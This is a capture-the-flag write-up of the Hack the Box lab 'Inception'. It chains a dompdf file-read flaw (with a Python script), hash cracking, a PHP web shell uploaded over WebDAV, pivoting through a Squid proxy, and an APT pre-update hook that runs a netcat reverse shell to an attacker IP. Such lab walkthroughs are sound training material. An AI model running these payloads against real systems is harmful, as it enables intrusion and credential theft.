HTB – Inception

Today we are going to solve another CTF challenge “Inception”. Inception is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Hard

Task: To find user.txt and root.txt

Let’s start off with our basic nmap command to find out the open ports and running services.

root@kali:~/htb/inception# nmap -sV 10.10.10.67

Starting Nmap 7.50 ( https://nmap.org ) at 2018-12-08 14:46 EST
Nmap scan report for 10.10.10.67
Host is up (0.079s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
3128/tcp open  http-proxy Squid http proxy 3.5.12

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.93 seconds

The squid proxy let’s us pass through without providing any credentials so we’re able to browse the localhost of the server. As for port 80 let’s fire up gobuster and see if any directories show up.

root@kali:~/htb/inception# gobuster -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.67 

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.67/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/assets (Status: 301)
/dompdf (Status: 301)
/images (Status: 301)
=====================================================

dompdf stands out. Let’s check it out.

dompdf

And we identify the version.

domversion

And we find that this version is indeed vulnerable.

https://www.exploit-db.com/exploits/33004/

Let’s verify the LFI.

root@kali:~/htb/inception# curl http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
%PDF-1.3
~
~
~
0.000 0.000 0.000 rg
BT 34.016 734.579 Td /F1 12.0 Tf  [(cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=)] TJ ET
~
~
~
root@kali:~/htb/inception# vim passwd
root@kali:~/htb/inception# cat passwd | base64 --decode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

I’ve truncated a lot of the noise that we get from the pdf and put the base64 into a file, then decoded. This process is very cumbersome to do over and over. So to speed up enumeration I used a python script to do it all easily.

lfi.py

#!/usr/bin/env python3
import base64
import urllib.request
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("file")
args = parser.parse_args()


url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource='

try:
	req = urllib.request.urlopen(url + args.file)

	output = req.read()
	
	if output:
		string = output.decode()
		result = string[string.find("[(")+2:string.find(")]")]
		decoded = base64.b64decode(result).decode('utf8')
		print(decoded)

except urllib.error.HTTPError:
	print("File cannot be downloaded")

So now we can simply call the script and feed our desired filename as a parameter as such:

root@kali:~/htb/inception# ./lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

Much easier. Also note here that cobb could be a possible user for us to target later.

After a lot of config enumeration we find this in the apache default virtual host config file:

root@kali:~/htb/inception# ./lfi.py /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
	Alias /webdav_test_inception /var/www/html/webdav_test_inception
	<Location /webdav_test_inception>
		Options FollowSymLinks
		DAV On
		AuthType Basic
		AuthName "webdav test credential"
		AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
		Require valid-user
	</Location>
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

We’ve found a webdav directory, excellent. Let’s go ahead and grab that passwd file.

root@kali:~/htb/inception# ./lfi.py /var/www/html/webdav_test_inception/webdav.passwd
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Now we can crack the hash with hashcat.

PS C:\hashcat-3.5.0> .\hashcat64.exe -m 1600 -a 0 .\inception.txt .\rockyou.txt
hashcat (v3.5.0) starting...

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14343296
* Bytes.....: 139921497
* Keyspace..: 14343296

$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69

And now we have our username webdav_tester and the password babygurl69.

My first thought here was to go ahead and upload a simple php reverse shell. puck.php

<?php echo system($_REQUEST['puck']); ?>

you could also do it with an excellent tool called phpbash that you can find herephpbash will give us a nice terminal like interface to work with, let’s upload it using curl

root@kali# curl -vvv --upload-file puck.php http://10.10.10.67/webdav_test_inception/puck.php --user webdav_tester:babygurl69

And now we can browse to our file and test command execution.After looking around in /var/www/html we find an old wordpress folder that no longer seems active. Inside we can see the wp-config.php that contains database credentials.

 

/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');

So now we have a password but SSH isn’t open on the box. We’ll need to do some more enumeration. We already know the squid proxy allows us to pass traffic through it, so we can try to enumerate the box through the proxy and see if SSH is open that way. To do this we  use proxychains

root@kali# vi /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
http 10.10.10.67 3128

root@kali# proxychains nmap -sT -p 22 -n 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-07 08:56 EST
|S-chain|-<>-10.10.10.67:3128-<><>-127.0.0.1:22-<><>-OK
Nmap scan report for 127.0.0.1
Host is up (0.057s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.15 second

Now we can SSH to 127.0.0.1 using the name we found earlier and the password found in wp-config.php.

root@kali:~/htb/inception# ssh cobb@127.0.0.1
cobb@127.0.0.1's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Thu Dec 09 14:08:23 2018 from 127.0.0.1
cobb@Inception:~$

Now we can grab the user.txt flag!

Privilege Escalation

We quickly see that cobb has full sudo permissions and we can escalate to root instantly. However we are only left with a clue inside of root.txt.

cobb@Inception:~$ sudo -l
[sudo] password for cobb: 
Matching Defaults entries for cobb on Inception:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cobb may run the following commands on Inception:
    (ALL : ALL) ALL
cobb@Inception:~$ sudo bash
root@Inception:~# 

root@Inception:/root# cat root.txt 
You're waiting for a train. A train that will take you far away. Wake up to find root.txt.

Again, we’ll need to do more enumeration to see where we need to go from here. If we check netstat we see something interesting.

root@Inception:/# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:35886         127.0.0.1:22            ESTABLISHED
tcp        0      0 127.0.0.1:22            127.0.0.1:35886         ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::3128                 :::*                    LISTEN     
tcp6       0     36 192.168.0.10:3128       192.168.0.1:42354       ESTABLISHED

We see another IP address, 192.168.0.1 is connected to the squid port on the box we are currently on. nc is on our box so let’s do a quick port scan with it on our newly found target.

root@Inception:~# nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused"
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!

Let’s also check UDP.

root@Inception:~# nc -zvu 192.168.0.1 1-100 2>&1 | grep -v "refused"
Connection to 192.168.0.1 53 port [udp/domain] succeeded!
Connection to 192.168.0.1 67 port [udp/bootps] succeeded!
Connection to 192.168.0.1 69 port [udp/tftp] succeeded!

So we have a few ports to look at. Our current SSH credentials unfortunately do not work so we’ll have to do some more enumeration with ftp. Lucky for us anonymous ftp is enabled.

root@Inception:/root# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Nov 30 18:34 bin
drwxr-xr-x    3 0        0            4096 Nov 30 18:34 boot
drwxr-xr-x   19 0        0            3920 Jan 17 03:35 dev
drwxr-xr-x   93 0        0            4096 Nov 30 18:34 etc
drwxr-xr-x    2 0        0            4096 Nov 06 09:02 home
lrwxrwxrwx    1 0        0              33 Nov 30 18:29 initrd.img -> boot/initrd.img-4.4.0-101-generic
lrwxrwxrwx    1 0        0              32 Nov 06 08:01 initrd.img.old -> boot/initrd.img-4.4.0-98-generic
drwxr-xr-x   22 0        0            4096 Nov 30 18:34 lib
drwxr-xr-x    2 0        0            4096 Oct 30 06:25 lib64
drwx------    2 0        0           16384 Oct 30 06:25 lost+found
drwxr-xr-x    3 0        0            4096 Oct 30 06:25 media
drwxr-xr-x    2 0        0            4096 Aug 01 11:16 mnt
drwxr-xr-x    2 0        0            4096 Aug 01 11:16 opt
dr-xr-xr-x  195 0        0               0 Jan 17 03:35 proc
drwx------    6 0        0            4096 Nov 08 08:48 root
drwxr-xr-x   26 0        0             940 Jan 17 06:25 run
drwxr-xr-x    2 0        0           12288 Nov 30 18:28 sbin
drwxr-xr-x    2 0        0            4096 Apr 29  2017 snap
drwxr-xr-x    3 0        0            4096 Nov 06 05:24 srv
dr-xr-xr-x   13 0        0               0 Jan 17 03:35 sys
drwxrwxrwt   10 0        0            4096 Jan 17 16:26 tmp
drwxr-xr-x   10 0        0            4096 Oct 30 06:25 usr
drwxr-xr-x   13 0        0            4096 Oct 30 06:31 var
lrwxrwxrwx    1 0        0              30 Nov 30 18:29 vmlinuz -> boot/vmlinuz-4.4.0-101-generic
lrwxrwxrwx    1 0        0              29 Nov 06 08:01 vmlinuz.old -> boot/vmlinuz-4.4.0-98-generic
226 Directory send OK.

We are also able to download most files, but we are not able to put anything on the system through FTP.

After filtering through many files we find something interesting in the crontab.

ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (14.8629 MB/s)
ftp> exit
221 Goodbye.
root@Inception:/root# cat crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log
30 23	* * *	root	apt upgrade -y 2>&1 >/dev/nul

So we can see that every 5 minutes apt-update is running. custom.log doesn’t have anything useful in it besides telling us when it’s running. What is useful is that we are able to run commands everytime apt-updateruns by placing a file inside /etc/apt/apt.conf.d.

Our format for the file content is: APT::Update::Pre-Invoke {"command"} and we will need to name our file with numbers prefixed. So we’ll use 00command as our file name.

send bash one liner reverse shell

root@Inception:/tmp# cat puck.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f

root@Inception:/tmp# cat 00command 
APT::Update::Pre-Invoke {"/bin/bash /tmp/puck.sh"}

root@Inception:/tmp# tftp 192.168.0.1
tftp> put puck.sh /tmp/puck.sh
Sent 93 bytes in 0.0 seconds
tftp> put 00command /etc/apt/apt.conf.d/00command
Sent 52 bytes in 0.0 seconds
tftp> 

now we wait 5 minutes and have a shell

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.67: inverse host lookup failed: Unknown host
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.67] 55992
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# cat root.txt
8d1*****359

Author: Jacco Straathof

Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *